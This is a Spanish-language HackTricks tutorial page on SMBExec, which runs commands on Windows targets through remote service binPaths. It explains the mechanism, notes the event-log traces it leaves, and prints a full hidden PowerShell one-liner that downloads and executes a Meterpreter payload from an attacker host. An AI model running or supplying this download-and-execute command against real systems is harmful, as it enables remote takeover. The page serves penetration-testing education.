hacktricks/windows-hardening/ntlm/smbexec.md

5.2 KiB

SmbExec/ScExec

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Cómo funciona

Smbexec funciona como Psexec. En este ejemplo, en lugar de apuntar el "binpath" a un ejecutable malicioso dentro de la víctima, vamos a dirigirlo a cmd.exe o powershell.exe y uno de ellos descargará y ejecutará el backdoor.

SMBExec

Veamos qué sucede cuando se ejecuta smbexec observándolo desde el lado del atacante y del objetivo:

Entonces sabemos que crea un servicio "BTOBTO". Pero ese servicio no está presente en la máquina objetivo cuando hacemos un sc query. Los registros del sistema revelan una pista de lo que sucedió:

El Nombre del Archivo de Servicio contiene una cadena de comandos para ejecutar (%COMSPEC% apunta a la ruta absoluta de cmd.exe). Hace un eco del comando a ejecutar a un archivo bat, redirige el stdout y stderr a un archivo Temp, luego ejecuta el archivo bat y lo elimina. De vuelta en Kali, el script de Python luego extrae el archivo de salida a través de SMB y muestra el contenido en nuestro "pseudo-shell". Por cada comando que escribimos en nuestro "shell", se crea un nuevo servicio y el proceso se repite. Por eso no necesita soltar un binario, simplemente ejecuta cada comando deseado como un nuevo servicio. Definitivamente más sigiloso, pero como vimos, se crea un registro de eventos para cada comando ejecutado. ¡Aún así, una forma muy ingeniosa de obtener un "shell" no interactivo!

SMBExec Manual

O ejecutando comandos a través de servicios

Como demostró smbexec, es posible ejecutar comandos directamente desde binPaths de servicios en lugar de necesitar un binario. Esto puede ser un truco útil para tener a mano si necesitas ejecutar solo un comando arbitrario en una máquina Windows objetivo. Como ejemplo rápido, obtengamos un shell de Meterpreter usando un servicio remoto sin un binario.

Usaremos el módulo web_delivery de Metasploit y elegiremos un objetivo de PowerShell con un payload de Meterpreter inverso. El listener está configurado y nos dice el comando a ejecutar en la máquina objetivo:

powershell.exe -nop -w hidden -c $k=new-object net.webclient;$k.proxy=[Net.WebRequest]::GetSystemWebProxy();$k.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $k.downloadstring('http://10.9.122.8:8080/AZPLhG9txdFhS9n');

Desde nuestra caja de ataque Windows, creamos un servicio remoto ("metpsh") y configuramos el binPath para ejecutar cmd.exe con nuestro payload:

Y luego lo iniciamos:

Da error porque nuestro servicio no responde, pero si miramos nuestro listener de Metasploit vemos que se hizo la llamada de retorno y se ejecutó el payload.

Toda la información fue extraída de aquí: https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks: